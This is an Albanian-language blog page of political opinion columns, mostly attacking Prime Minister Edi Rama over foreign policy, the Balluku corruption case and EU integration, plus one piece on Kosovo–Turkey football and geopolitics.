Blog

  • Nga Sebastian ZONJA – Futboll dhe gjeopolitikë

    Ndeshja e futbollit mes Kosovës dhe Turqisë ishte shumë emocionuese. Një çast më duket se komentatori i ndeshjes tha diçka të bukur, pak a shumë kështu: shihni këtë kombëtare të Kosovës që doli pak kohë më parë nga lufta dhe sot sheh për të shkuar drejt ëndrrës amerikane.

    Krahas ndeshjes që ngjalli shumë emocione, ajo që ra në sy ishte komentimi i saj nëpër rrjete sociale nga njerëz që kanë dy pare mend, të cilët barazojnë pushtimin osman me atë serb.

    Mizoritë e kryera nën perandorinë Osmane janë të sqaruar gjerë e gjatë nga historianë të ndryshëm. Po ashtu edhe ato që kanë kryer serbët në Kosovë e më gjerë, që nga Lufta e Parë Ballkanike. Në pamje të parë kjo paralele duket interesante dhe më se e legjitimuar për t’u hequr.

    Ku është kleçka?

    Kur Shqipëria shpalli pavarësinë nga perandoria Osmane në vitin 1912 çarja brenda Portës së Lartë ishte e madhe. Dy linjat kryesore kishin të bënin me rëndësinë e detit Adriatik për Stambollin. Linja konservatore osmane ishte kundër pavarësisë, duke mëtuar autonominë, ndërsa xhonturqit ishin për pavarësinë, duke e konsideruar Shqipërinë avantpost të vetin përballë Perëndimit.

    Në thelb ishte dhe mbetet çështje interesi. Pas astij rrugëtimi që kishim bërë me osmanët, vendosëm që të ndërtonim një udhë tjetër, drejt Evropës. Pikërisht në këtë çast fillon dhe shfaqet interesi i fuqive të tjera ndaj Shqipërisë, mes tyre edhe ai i Turqisë. Mbreti Zog lidhet me Italinë, fuqi e madhe asokohe, pasi ajo e konsideronte Adriatikun tonë bregun e saj të pestë.

    Për shembull, në pikëpamjen e interesit për të qenë afër Evropës, qeveria komuniste bëri aleancë me sovjetikët. Ishte interesi i tyre për të dalë në Adriatik dhe Jon. Po ashtu, në këtë kuadër, duke qenë vend afër Evropës, qeveria komuniste bëri aleancë me Kinën. Edhe ata kishin thuajse të njëjtin interes. Deti. Gjeografia gjithnjë është mbivendosur ndaj historisë dhe politikës ditore.

    Në këtë prizëm, kur shpallëm pavarësinë nga Osmanët, edhe ata bënë llogaritë e tyre dhe thanë se na duhet një aleat në Ballkan, më një këmbë brenda Evropës, një jashtë.

    Le të heqim një paralele:

    Sot, thuajse gjithë gjeopoliticienët bien dakord se interesi kinez dhe rus në Ballkan është për të pasur marrëdhënie me vende në periferi të Evropës, për t’i shfrytëzuar për tregti apo për për zinxhirët globalë të furnizmit. Hungaria ecën me këtë logjikë, Serbia ecën me këtë logjikë.

    Rasti ynë

    Duke qenë se parimi është për bashkëndarjen e interesave, ne nuk mund ta shohim aleancën me Turqinë me sytë e Serbisë, njëjtë si nuk mund ta shohim partneritetin me Greqinë me sytë e Ankarasë. Nuancat e partneriteteve dhe aleancave të ndryshme ndërtohen mbi themelet e interesit kombëtar.

    Rast aktual

    Përpara Revolucionit islamik në Iran, Izraeli dhe Teherani ishin aleatët më të mirë në Lindjen e Mesme. Partneriteti i tyre ishte i madh dhe strategjik. Vendet me shumicë arabe ishin kundërshtarë të Izraelit dhe Irani aleat. Gjatë periudhës së shahut, politika filloi të mendonte të ndërtonte armë atomike. Kjo e çonte Iranin në përplasje të drejtëpërdrejtë me Izraelin, pasi rajoni kishte vetëm një fuqi, Izraeli, i vetmi vend me armë atomike në atë rajon. Për shkak të kësaj politike që nisi me shahun dhe vijoi me regjimin e mullahëve, interesat u ndanë me thikë. Tisi ideologjik që i vishet meriton vëmendje për një artikull tjetër, porse në thelb kemi të bëjmë me përplasje interesash dhe çështje sigurie.

    Disa projeksione të vogla

    Përpara disa kohësh, dikush në Prishtinë bëri një postim të çuditshëm. Pak a shumë, e kishte të paqartë për cilën skuadër të bënte tifozeri për ndeshjen e futbollit mes Shqipërisë dhe Kroacisë!!!

    Gjatë periudhës së komunizmit në Shqipëri u ndërtua një përfytyrim për aleancat ku barazohej kontributi i Italisë për pavarësinë e vendit me Rusinë. Po ashtu, nuk kishte dallim mes Austrisë dhe Kinës, Britanisë dhe Tajlandës, Francës dhe Vietnamit, Gjermanisë dhe Argjentinës. Ky lloj ligjërimi është jo vetëm i gabuar, porse edhe i rrezikshëm. Gjatë periudhës së komunizmit në Shqipëri, ky ligjërim i shërbente pushtetit të Diktatorit. Sot, për shembull, barazimi i Turqisë me Serbinë apo Shqipërisë me Kroacinë është dashakeq dhe nuk përkon me interesin e Tiranës, as të Prishtinës.

    Që në krye të herës, siç e kemi përsëritur, në Ballkan kalojnë dy linja të rëndësishme tregtare dhe, deri diku strategjike. Njëra është ajo që lidh Durrësin me detin e Zi, tjetra është ajo që lidh Selanikun me Vardarin. Linjat pikëtakohen në Maqedoni, ndërsa faktorët që ndikohen nga këto linja janë grekët dhe serbët, shqiptarët dhe bullgarët.

    Lexuesit e kuptojnë më mirë dhe më qartë se vendet drejtohen prej interesit të tyre kombëtar, ndaj edhe e marrin me mend se disa persona janë emocionalë kur shkruajnë për këto tema, të tjerë janë pak të lexuar, ndërsa të tjerë janë thjesht dashakeq, teksa përdorin dijen e tyre për të shtrembëruar realitetet në terren, siç bënte elita kriminale komuniste në Shqipëri për dekada. Komunizmi shqiptar i shërbeu vetes, po aq sa i shërbeu fuqisë hegjemonike serbe në rajon, fatkeqësisht. Është tragjike dhe dashakeqe kur i fusim të gjithë në një thes.

  • “RAMA VUÇIÇ” – Vija e kuqe e Berlinit për planin e përbashkët: pa reforma nuk ka hyrje në tregun europian

    “RAMA VUÇIÇ” – Vija e kuqe e Berlinit për planin e përbashkët: pa reforma nuk ka hyrje në tregun europian

    Në një kohë kur Shqipëria dhe Serbia kërkojnë të anashkalojnë procesin e gjatë të anëtarësimit duke hyrë në tregun unik europian pa përmbushur standardet demokratike, Berlini jep një përgjigje të prerë: përfitimet ekonomike nuk mund të ndahen nga detyrimet politike. Deputeti gjerman Peter Beyer rrëzon idenë e “rrugës së shkurtër”, paralajmëron kundër zëvendësimit të anëtarësimit të plotë me modele të ndërmjetme dhe thekson se BE-ja nuk shpërblen autokracitë elektorale pa reforma të thella

    Në skenën politike europiane, ku debati për zgjerimin e Bashkimit Europian është rikthyer me forcë, Berlini ka dhënë një sinjal të qartë që prek drejtpërdrejt ambiciet e Edi Ramës dhe Aleksandër Vuçiçit. Dy liderët ballkanikë, në një editorial të përbashkët, kërkuan akses në hapësirën Shengen dhe tregun unik të BE-së, pa të drejtë vetoje dhe pa përfaqësim institucional. Një formulë që synon të marrë përfitimet ekonomike të integrimit, por pa kaluar nëpër filtrin e reformave të thella demokratike.

    Por Gjermania, përmes deputetit të CDU-së dhe drejtuesit të Grupit të Ballkanit Perëndimor në Bundestag, Peter Beyer, e ka rrëzuar prerazi këtë qasje. Në një intervistë të drejtpërdrejtë, ai theksoi se nuk mund të ketë hyrje në tregun unik pa respektuar standardet e shtetit të së drejtës, luftën kundër korrupsionit dhe funksionimin e demokracisë. Për Berlinin, ideja e Ramës dhe Vuçiçit nuk është progres, por shmangie nga llogaridhënia.

    Beyer paralajmëron se përfitimet ekonomike nuk mund të shkëputen nga detyrimet politike. Ai kujton premtimin e Selanikut të vitit 2003, duke e quajtur “tradhti” çdo përpjekje për t’i ofruar vendeve të Ballkanit një status të ndërmjetëm që nuk çon drejt anëtarësimit të plotë. Në këtë kontekst, edhe propozimi francez për “Komunitetin Politik Europian” shihet me dyshim, sidomos kur përdoret si alternativë për të shmangur reformat.

    Berlini rrëzon idenë e përfitimeve pa detyrime

    Peter Beyer e bën të qartë se nuk mund të ketë hyrje në tregun unik pa përmbushur kriteret e Kopenhagenit. Ai thekson se Rama dhe Vuçiç po kërkojnë një rrugë të shkurtër, duke propozuar madje edhe heqjen dorë nga e drejta e vetos për të marrë akses ekonomik. Por për Gjermaninë, kjo është e papranueshme.

    Pra, po flitet për akses në tregun e brendshëm ose në tregun unik. Siç thoshte me të drejtë Bill Clinton, “është ekonomia, budallenj”. Po, sigurisht që ekonomia është e rëndësishme, por kjo nuk mund të mbarojë vetëm aty. Nuk mund të përfitosh vetëm nga tregu i brendshëm dhe pastaj të harrosh gjithçka tjetër. Prandaj shumë njerëz po lodhin mendjen për të gjetur çfarë mund të bëhet për të krijuar stimuj, edhe sa i përket popullaritetit të procesit të anëtarësimit në shoqëritë përkatëse, si ta bëjmë më tërheqës, si të rrisim motivimin dhe mbështetjen” ka thënë Beyer.

    Ne e kemi parë që kryeministri shqiptar Edi Rama dhe presidenti serb Aleksandar Vuçiç së fundi bashkëshkruan një opinion mbi këtë temë, i cili ngjalli reagime të ndryshme, mbështetje, por edhe kritika. Unë mund ta kuptoj qëllimin e tyre. Ata madje propozuan se ndoshta nuk do të ishte e nevojshme që menjëherë të kishin edhe të drejtën e vetos. Pra, po flitet për akses në tregun e brendshëm ose në tregun unik. Siç thoshte me të drejtë Bill Clinton, “është ekonomia, budallenj”. Po, sigurisht që ekonomia është e rëndësishme, por kjo nuk mund të mbarojë vetëm aty. Nuk mund të përfitosh vetëm nga tregu i brendshëm dhe pastaj të harrosh gjithçka tjetër. Prandaj shumë njerëz po lodhin mendjen për të gjetur çfarë mund të bëhet për të krijuar stimuj, edhe sa i përket popullaritetit të procesit të anëtarësimit në shoqëritë përkatëse, si ta bëjmë më tërheqës, si të rrisim motivimin dhe mbështetjen” ka thënë Beyer.

    Sipas tij, ekonomia është e rëndësishme, por nuk mund të jetë justifikim për të anashkaluar demokracinë. Ai paralajmëron se vendet e Ballkanit nuk mund të marrin përfitime dhe më pas të “harrojnë gjithçka tjetër”. Për këtë arsye, Berlini kërkon stimuj të rinj për procesin e anëtarësimit, por jo shkurtore që dëmtojnë besueshmërinë e BE-së.

    “Ka një gjë që dua ta them si paralajmërim. Disa njerëz në Evropë mendojnë se kjo duhet të jetë pika fundore, vetëm një anëtarësim i asociuar dhe jo anëtarësim i plotë në fund, pra që BE-ja t’u ofrojë me bujari vendeve kandidate vetëm një status të ndërmjetëm. Kjo do të ishte tradhti, tradhti ndaj vetes sonë. Përsëri i referohem samitit të Selanikut në vitin 2003. Ne premtuam një perspektivë evropiane dhe mendoj se ai premtim duhet të mbetet i vlefshëm. Po, të mendohet për diçka gjatë rrugës drejt anëtarësimit të plotë, unë e mbështes plotësisht këtë. Por duhet të ketë kuptim, të jetë e mençur, jo zgjedhje sipas qejfit nga njëra anë dhe jo një rrugë pa krye nga ana tjetër”

    Kritika nga Kosova dhe skepticizmi europian

    Letra e Ramës dhe Vuçiçit ka shkaktuar reagime të forta edhe në rajon. Ministrja e Drejtësisë së Kosovës, Donika Gërvalla, e quajti artikullin një akt që i jep oksigjen Vuçiçit në momentet kur ai përballet me presion nga Europa. Ajo theksoi se çdo projekt që anashkalon Kosovën është i gabuar dhe i dëmshëm për interesat shqiptare.

    Ndërkohë, Beyer shton një tjetër të vërtetë të hidhur: zgjerimi i BE-së nuk është prioritet as në Bruksel, as në Berlin. Madje, në shumë vende europiane, ai është jopopullor. Për këtë arsye, vendet e Ballkanit duhet të fokusohen te reformat, jo te sloganet si “28 deri në 2028”.

    Ai rikujton parimin e “regatës”: çdo vend gjykohet sipas meritave të veta. Nuk ka afate magjike, nuk ka përjashtime dhe nuk ka rrugë të shkurtra.

    Në fund, mes deklaratave të forta dhe realpolitikës europiane, mesazhi i Berlinit është i qartë: integrimi ekonomik nuk mund të jetë një shpërblim pa reforma. Ballkani Perëndimor duhet të ecë drejt anëtarësimit të plotë, por vetëm duke përmbushur standardet që e bëjnë BE-në atë që është. Koha e iluzioneve ka mbaruar; tani kërkohet punë e vërtetë.

  • Nga Andi BUSHATI – Miku i Zelenskit që u shndërrua në lake të Trumpit

    Një intervistë që tregoi se Rama duke mos vënë në bazë të diplamocisë, as traditën historike, as parime të qarta e ka shndërruar politikën e jashtme në një karikaturë që i shërben vetëm interesave të tij të momentit. Ai sillet si një kameleon që ndryshon gjithçka për të mos ndryshuar vetëm pushtetin e tij

    Nëse ka një pasqyrë të veçantë ku mund të shihen me gjithë kaosin e tyre orientimet e politikës së jashtme të Edi Ramës, ajo është intervista që ai i ka dhënë gazetares Franceze, Anne Nivat. E dërguara speciale e revistës së përjavshme Le Point i ka drejtuar atij pyetje bazike, shpesh cinike, që mëtojnë të kuptojnë thellbin e zgjedhjeve që ka bërë Shqipëria. Mos vallë rreshtimi pas linjës së ashpër të Izraelit dhe Uashingtonit po e kërcënon sikurinë e vendit? Mos qëllimi është thjeshtë një pëlqim i Trumpit? A po e rrezikon pjesmarrja në Bordin e Paqes rrugën e integrimit të Shqipërisë? Kë do të zgjidhte Rama mes dy projekteve të së ardhmes së BE-së, atë të Makronit apo atë të Orbanit? A vazhdon ai të jetë po i njëjti mbështetës si dikur i Ukrainës…

    Eshtë dëshpëruese të lexosh se si këto pyetje mbeten në ajër dhe herë pas here marrin përgjigje evzive. Aq sa në një moment gazetarja ia kthen bashkëbiseduesit: “Unë ju pyes për SHBA-në, ju më përgjigjeni për Rusinë”.

    Mjafton të shikosh versionet që jepen për të sjellurit më katolik se papa, lidhur me një luftë që zhvillohet në lindjen e mesme, dhe ku Shqipëria ka më shumë për të humbur sesa për të fituar. Edi Rama njëherë thotë se e ka bërë zgjedhjen kundër Iranit, pasi ky vend është treguar i pari armiqësor kundër nesh, pastaj se ne si shqiptarë nuk i honepsim dot diktaturat vrastare dhe më tej shpalos një argument të ri, se Irani përbën një kërcënim për fqinjët e vet. Ajo që nuk thuhet me fjalë kuptohet lehtë: dëshira për ti’u servilosur Trumpit dhe për të rekuperuar në Uashington të njëjtin pozicion që Rama kishte më parë me administratën demokrate.

    Gazetarja nuk ia lë mangut. Ajo i kujton Edi Ramës dëshirën për të rënë në sy të presidentit amerikan, në momentin kur në Bordin e Paqes ai mbajti fjalim kundër OKB-së.

    Por, për atë që dikur e quante “turpi i civilizimit”, “kërcënim për botën” dhe mardhëniet shqiptaro amerikane, sot kryeministri ynë e ka ndërruar pllakën. Ai thotë vetëm fjalë të mira për qasjen e Trump ndaj OKB-së, luftës së hapur në kundërshtim të ligjit ndërkombëtar kundër Iranit dhe tërheqjes së mbështetjes për Zelenskin dhe Ukrainën. Kur i duhet të përgjigjet se me pjesmarrjen në këtë tryezë diktatorësh ai rrezikon të bëhet një kalë troje i SHBA, në Evropë, Edi Rama nuk përdor tonet triumfalist që i shiti publikut shqiptar për pjesmarrijen në Bordin e Paqes. Kjo prani tani më nuk është një nderim për Shqipërinë dhe as një arritje e paimagjinueshme vetëm pak vite më parë, por thjeshtë respektimi i një ftese “që do ishte çmenduri ti thuhej jo”.

    Nga ana tjetër Ukraina është një pikë ku diplomacia shndërrohet në komedi. Kush e kthen filmin disa vite më pas, e mban mend Edi Ramën, të marshonte krenarisht përkrah Zelenskit gjatë samitit të liderve Evropianë në Tiranë. Ai vizitoi triumfalisht Kievin duke paketuar në avionin personal edhe atë kryeministrin kukull të Podgoricës, që e përdorte  për Ballkanin e Hapur. Aq radikal ishte Rama në mbështetje të betejës kundër Putinit, sa e detyroi ambasadën ruse në Tiranë të zhvendosej, duke urdhëruar riemërtimin e rrugës ku gjendej selia e saj “Ukraina e Lirë”.

    Po sot, kur erërat në Uashington duket se kanë ndryshuar? Edhe skifteri ynë është shndërruar në pëllumb. Radikali i dikurshëm pohon me gojën plot se Viktor Orbani kishte të drejtë kur kërkoi armëpushim në frontin ruso-ukrainas, por liderët evropianë bën gabim që se dëgjuan.

    Të ndryshosh mendim është njërëzore si për Trumpin po ashtu edhe për Ukrainën, por ama Edi Rama këtë e bën me një lehtësi për ta pasur zili, fiks ashtu sikurse e kërkon situata. Vetëm se kur e habitur gazetarja franceze e fton të zgjedhë mes modeleve të Makronit dhe Orbanit, ai nuk ka përgjigje dhe kamuflohet pas miqësisë për këta dy burra, që kanë në fakt këndvështrime diametralisht të kundërta, si për botën, po ashtu edhe për të ardhmen e kontinentit tonë.

    Pikërisht për këto pirueta, kjo intervistë është një nga ato që nuk duhen humbur. Sepse për të gjithë ata që interesohen për politikën e jashtme, ajo tregon se sa e paparashikueshme, e personalizuar dhe jo serioze është diplomacia e një njeriu që e shet ata si medalje që i ka bërë bashëkombasit e tij të ndihen krenarë. Në fakt është e kundërta: duke mos vënë në bazë të saj, as traditën historike, as parime të qarta, Edi Rama e ka shndërruar politikën e jashtme në një karikaturë që i shërben vetëm interesave të tij të momentit. Ai sillet si një kameleon që ndryshon gjithçka për të mos ndryshuar vetëm pushtetin e tij.

    Dhe kulmi i bashkëbisedimit arrin kur udhëheqësi i vendit më të vogël dhe më të varfër të Evropës shpërndan receta se si ajo duhet të sillet me Kinën dhe Rusinë. Sipas Edi Ramës Evropa sot mungon në tryezën e të mëdhejve sepse nuk ka ditur të flasë me Putinin dhe Xi Jimpingun.

    Por kur Anne Nivat e pyet “naivisht” nëse ai është idhtar i parimit se duhet folur me të gjithë kryeministri i përgjigjet se vetëm me terrorristë si ata të regjimit iranian kjo nuk mund të bëhet.

    Tani mbetet të shpresohet që Donald Trumpi të mos vendosë shpejt për një marëveshje përfundimi lufte, sepse ne do të shohim të sfilojë para syve tanë, partizani më i flaktë i një pakti të domosdoshëm me Teheranin.

  • RAMA NË PANIK, Spiropali e nxjerr bllof. Balla, shërbëtori i përulur nuk di ku fshihet!

    RAMA NË PANIK, Spiropali e nxjerr bllof. Balla, shërbëtori i përulur nuk di ku fshihet!

    Ka diktatorë që bien nga bombat e armikut dhe ka diktatorë që bien nga thikat e miqve. Edi Rama po e kupton sot, më shpejt nga sa e kishte imagjinuar, se pushteti i tij i absolutizuar nuk rrezikohet nga opozita e dobësuar, por nga ata që ai vetë i ka krijuar – shërbëtorët që kanë parë se sa e brishtë është perandoria dhe që tani kërkojnë të shpëtojnë lëkurën e tyre.

    Elisa Spiropali nuk është heroinë e demokracisë. Nuk është as më e ndershme, as më e moralshme, as më e përkushtuar ndaj publikut. Ajo është produkti më i pastër i këtij regjimi – një karrieriste e pangopur që ka shitur çdo vlerë për një karrige ministri. Por edhe shërbëtorët kanë kufijtë e tyre. Dhe kur shohin se mjeshtri po i hedh në zjarr për të shpëtuar veten edhe më të ulëtit fillojnë të kafshojnë.

    Kjo është historia e përplasjes që po trondit PS-në. Jo një debat ideologjik, jo një ndryshim kursi – por një luftë mbijetese midis një diktatori në panik dhe një shërbëtoreje të tradhtuar që kërcënon të tërheqë të gjithë me vete në humnerë.

    SKANDALI BALLUKU: KUR RAMA ZGJEDH TË VDESË ME HAJDUTEN

    Belinda Balluku. Zv/kryeministre. Akuzuar për manipulim të tenderëve me vlerë 1.1 miliard euro. Një shifër që do të shkatërronte çdo qeveri normale, që do të çonte në dorëheqje instante, që do të hapte hetime të pavarura.

    Por Rama nuk është qeveritar normal. Ai është diktator që ka kapur çdo institucion, që kontrollon çdo prokurori, që beson se pushteti i jep imunitet të përjetshëm. Dhe ka zgjedhur të mbrojë Ballukun. Jo sepse beson tek pafajësia e saj – kush mund ta ketë? – por sepse Balluku di shumë. Sepse ajo është pjesë e sistemit, sepse ka prova, sepse nëse bie ajo, bien të gjithë.

    Por ka një problem. Që quhet “Presioni ndërkombëtar”. Bashkimi Evropian, SHBA-të, organizatat anti-korrupsion – të gjithë po e shikojnë. Dhe Rama, ai që pretendon se është “evropian”, nuk mund ta thotë hapur që po mbron një të akuzuar për korrupsion masiv.

    Kështu që ka inventuar “grupin parlamentar”. Ka hedhur përgjegjësinë te Taulant Balla, shërbëtori më i besuar i tij, te ai që thotë “po” para se të pyetet, ai që justifikon çdo krim me një buzëqeshje. Dhe ka thënë: “Kjo është punë e grupit parlamentar, nuk merrem unë”.

    Një lëvizje e zgjuar, por e pamoralshme. Por, edhe një lëvizje që po i kthehet kundër.

    SPIROPALI SFIDON BLOF BALLËN: “THIRRE GRUPIN, TA HAPIM KUTINË!”

    Taulant Balla ka bërë gjithmonë çfarë i ka thënë Rama. Këtë herë, i pyetur për ndëshkimin e Spiropalit për mungesën në votim pro Ballukut, ka përsëritur mantrën: “Unë nuk i marr vetëm vendimet, i marr me grupin parlamentar”.

    Është një deklaratë e zbrazët, një përpjekje për të shpërndarë përgjegjësinë, për ta bërë Ramën medemek të padukshëm. Por që Spiropali – e frustruar, e tradhtuar, e rrezikuar – ka zgjedhur ta kthejë në armë.

    Mesazhi i saj është një shpërthim i kontrolluar: “Taulant, jam plotësisht dakord. Thirre grupin pa vonesa. Zhvillojmë një diskutim të plotë. Vendimmarrja kolektive është forca e PS”.

    Duket e pafajshme? Është vdekjeprurëse. Sepse Spiropali e di – dhe e di shumë mirë – që nuk ka diskutim të hapur në PS prej vitesh. Ajo e ka provuar vetë: kur ka tentuar të flasë për Ballukun në kryesi, Rama i ka bërtitur: “Mbylle gojën, këtu je prej meje!”

    Ndaj ajo i hedh dorashkën Ballës për një mision të pamundur. Dhe më tej, kërkon “vendim të argumentuar dhe në përputhje me përgjegjësinë përballë publikut” – diçka që është e pamundur kur bëhet fjalë për të mbrojtur një hajdute 1.1 miliardëshe.

    Por ka më keq. Spiropali, si ish-ministre e Jashtme, i di presionet ndërkombëtare. Ajo e di çfarë thonë ambasadat, çfarë thonë delegacionet e BE-së, çfarë raportojnë gazetat e huaja. Dhe kërcënon: “Nëse doni, e hapim këtë kuti Pandore”.

    Dhe kjo është sfida më e madhe. Që sugjeron se ka informacione, se ka fakte, se ka një version tjetër të historisë që do të ishte shkatërrues për Ramën. Dhe që është e gatshme ta përdorë, nëse shtypet më tej.

    RAMA KUNDËR DREJTËSISË: REGJIMI PO ÇAHET

    Por pse Rama nuk ja mbyll gojën Spiropalit me një shkelje? Pse nuk e përzë nga partia, nuk e bën shembull, nuk e dërgon në “ferrin” politik që ka përgatitur për të tjerë?

    Sepse ai nuk mundet. Sepse Spiropali, edhe e dobësuar, edhe e diskredituar, ka diçka që Rama i ka frikë: dëshmitë. Ajo ka qenë pjesë e sistemit, ajo ka ndjekur urdhrat, ajo ka parë çfarë ka ndodhur. Dhe nëse ajo vendos të flasë, nëse ajo vendos të tërheqë zvarrë gjithë kastën, dëmi mund të jetë i papërmbajtshëm.

    Rama është i kapur në kurth. Nëse ndëshkon Spiropalit, ajo mund të hapë “kutinë”. Nëse e fal, jep mesazhin se mosbindja shpërblehet. Dhe Balla, shërbëtori i përulur, gjendet në mes – i detyruar të luajë rolin e ekzekutorit, por pa autoritetin për ta bërë.

    Kjo është shenja më e qartë se regjimi po çahet nga brenda. Kur miqtë më të besuar fillojnë të kafshojnë, kur diktatori detyrohet të fshehet pas “grupit parlamentar”, kur 1.1 miliardë euro korrupsion duhet të justifikohen me “vendim kolektiv” – atëherë diçka ka vdekur thellë në zemrën e pushtetit.

    FUND I AFËRT I ORGANIZATËS

    Edi Rama ka ndërtuar një sistem ku askush nuk guxon të flasë, ku çdo kritikë është tradhti, ku pushteti është absolut. Por ai ka harruar një ligj të vjetër: kur frika është e vetmja gjuhë, askush nuk është i besueshëm.

    Spiropali nuk është opozitare. Ajo është produkt i këtij sistemi, pasoja e këtij regjimi, simptoma e kësaj sëmundjeje. Dhe fakti që ajo, nga të gjithë, është ajo që kërcënon të hapë “kutinë e Pandorës”, tregon se sa të kalbur janë themelet.

    Rama do përpiqet ta shpëtojë Ballukun. Do të përpiqet ta heshtë Spiropalin. Po, do të përpiqet të vazhdojë siç ka bërë gjithmonë – me gënjeshtra, me manipulime, me frikë.

    Por këtë herë, plasaritja është e dukshme. Dhe në histori, diktatorët bien kur miqtë e tyre më të besuar fillojnë të kërkojnë shpëtimin e tyre – duke i hedhur të gjithë në humnerë.

    Rama është në panik. Spiropali është e rrezikshme. Dhe shqiptarët – të lodhur nga korrupsioni, të mashtruar nga demagogjia, të vrarë nga varfëria – presin vetëm një gjë: që “kutia e Pandorës” të hapet njëherë e mirë, dhe që të vërteta të dalë në dritë e të japin verdiktin përfundimtar. 🎯

  • Nga Andi BUSHATI – Dita kur autokrati njësoi aktet me fjalorin

    Edi Ramës i duhet njohur së paku një meritë: nëse në veprime dhe në akte ai është sjellë si autokrat, në pamje të jashtme, ai i ka kamufluar ato me një aureolë prej demokrati. Ky personalitet i dyfishtë, që ka arritur ta fshehë disi edhe për ndërkombëtarët thelbin e regjimit të tij, bënte që abuzimet me pushtetin, prekja e votës, makutëria me fondet publike, të arrinin të fashiteshin, për sytë e të pavëmendëshmve, prej fjalimeve elokuente, argumentave të zgjedhur, një versioni prendimor të justifikimit të gjërave.

    Por, kjo periudhë dyzimi duket se është drejt fundit. Rama që vepron, po barabitet gjithnjë e më shumë me Edin që flet. Shembulli më ilustrues për këtë, ishte fjalimi që mbajti, këtë fillim jave, përballë deputetëve të grupit të tij paralamentar.

    Në përpjekje për të mbrojtur Belinda Ballukun, për të justifikuar kundërshtimin e pezullimit të saj dhe zvarritjen për ti hapur rrugë arrestimit të kërkuar nga SPAK, kreu i qeverisë hartoi një fjalim, tipik prej autokrati. Një analizë në filigran e atyre që tha tregon tiparet e një njeriu me pushtet të pamatë, për të cilin është e pakonceptueshme të sfidohet nga drejtësia, e një lideri që e ka humbur aftësinë për bashkëveprim, e një paranojaku që duket sikur e ka të pamundur bashkëjetesën me pushtete dhe forca të tjera.

                                                                            ♦ ♦ ♦

    Po të lexosh, fjalë për fjalë, ato që tha gjatë justifikimit të ndryshimeve në Kodin e Procedurës Penale, në mbrojte të zv/kryeministres, vëmendjen nuk ta përthithin vetëm fjalët dhe epitetet e përdorura për gjykatësit e prokurorët, të cilët i cilësoi si “qen e mij që kanë kapërcyer gardhin”, apo si “budallej që kanë hedhur një gur në lum”. Të tilla sharje të denja për vokabularin e diktatorëve, nga Lukashenko deri tek Erdogani, Edi Rama ka përdorur edhe me parë. Surpriza qe barabitja me këta të fundit edhe në koncepte, gjë që dëshmon për një lider që nuk ka më skrupuj për ta grisur fasadën demokratike.

    “Askush nuk duhet të mendojë se ka në dorë dhe gurin dhe arrën për ta goditur këtë shumicë qeverisëse”, shpalli ai duke e ngritur veten në piedestalin e një udhëheqësi me fuqi të pakontrollueshme. Ai vazhdoi të tregonte se e kishte rrefuzuar dorëheqjen e Ballukut pasi ajo ishte kërkuar prej një force “që ka dalë nga territori i saj”.

    Në këtë logjikë shkoi edhe më tej duke proklamuar: “unë nuk e pranoj dorëheqjen deri kur të plotësohen kushtet dhe se kur plotësohen kushtet, nuk e përcakton dot as prokurori, as gjykatësi i seancës paraprake, as media dhe as gjyqi popullor”.

    Duke shkuar përtjej tenderave pa garë që shpërndante me Ballukun, ai kërcënoi: “Vendimet tona janë sovrane dhe nuk ka prokuror dhe nuk ka gjykatës që t’i vërë në diskutim dot, përsa kohë janë vendime të cilat nuk burojnë nga qëllime të pashpallura”.

    Përtej këtyre citateve i gjithë ligjërimi i kryeministrit u adresua kundër prokurorëve dhe gjykatësve që marrin vendime paraprake pa gjygj themeli, në mbrojtje të hajdutëve të administratës që po goditen si “burime njerëzore të këtij vendi” duke përdorur si justifikim “dyshimin e arsyeshëm”, nga magjistratë “që duan të mbushin CV-të e tyre”.

                                                                              ♦ ♦ ♦

    Pra, në histrorinë e pafundme të fjalimeve të Ramës, ky i fundit mund të mund të shënohet në histrori, si ai ku edhe publikisht, goditi parimin kryesor të demokracisë, atë të balancës dhe kontrollit të pushteteve. Ai e vuri veten në në rolin e diktatorit që i tregon kufijtë një prokurori, që përcakton deri ku e ka hapsirën një gjykatës, madje që ka në dorë të vendosë nëse është e justifikuar apo jo edhe kërkesa morale e opinionit publik, kur kërkon dorëheqjen e një ministri që kapet jo me duar brenda, por i zhytur kokë e këmbë në thesin e përbashkët.

    Grisje të tillë maskës prej demokrati Edi Rama nuk i kishte bërë asnjëherë vetvetes. Njeriu që përmendte qoftë edhe sa për sy e faqe shtetin ligjor, që zotohej se s’do të bëhej mburojë për hajdutët, që përgjërohej se edhe ata që ishin kapur, e patën bërë pas shpinës së tij, sot e ka braktisur këtë rol, për të shpallur në mënyrë të paskrupullt: “Unë jam i tërëpushtetshëm ndaj më lini të vazhdoj të vjedh rrehat”.

    Se përse ka ndodhur ky transformim radikal, kur Rama që vepron është njehsuar me Edin që flet është e vështirë të hamendësohet. Askush nuk mund të vërë bast se përse ai po e flak mantelin prej demokrati që i ka siguruar, deri më tani një mburojë, sidomos ndërkombëtarisht.

    Disa pretendojnë, pa fakte të pakundërshtueshme, se kundër autokratit të Tiranës janë vënë në veprim forca të papërcaktuara në BE apo përtej Atlantikut. Të tjerë mendojnë se fasada demokratike nuk mund ti rrezistonte më legenosjes morale që shkaktuan zbulimi i përgjimeve për tenderat e Ballukut dhe vjedhjet me rrëmbim personash të AKSH. Asnjë nga versionet nuk mund të konsiderohet përfundimtar. Por ajo që dimë me siguri është se dyzimi i Edi Ramës po përfundon. Bashkëjetesa brenda tij e vendimarrësit autokrat me performuesin demokrat ka skaduar. Ironia është se ai vetë po lehtësohet duke u bërë më koherent. Po ashtu më pak e vështirë do të jetë edhe për shumëkënd, prej nesh, apo i huaj qoftë, që nuk do të duhet më të përballet këtë paradoks vështirësisht të shpjegueshëm. / Lapsi

  • Nga Luçiano BOÇI – Smart City dhe loja që vazhdon

    Në “kulmin” e goditjes nga SPAK, Rama hapur fare, hodhi në treg një tjetër aferë korruptive me shumë pikëpyetje brenda, SMART CITY-n.

    Pse e bën?

    Nga bindja se nuk i hyn gjemb në këmbë?!

    Nga arroganca e verbër?!

    Për të dëshmuar forcë dhe bërë sfidë me SPAK?!

    Kërkon të provokojë partnerët tanë?!

    Apo për të treguar që kontrollon gjithçka?!

    Të marra me rradhë ka pak nga të gjitha.

    Kjo e kushtëzuar dhe nga profili psiko-korruptiv që e karakterizon.

    Sikurse, sa ka bindjen që nuk i hyn gjemb në këmbë, sepse e ka të provuar me inceneratorët, laboratorët, rrugët, po aq është dhe arrogant.

    SPAK-un ka dëshirë pas kontrollit në të cilin e mban, ta poshtërojë.

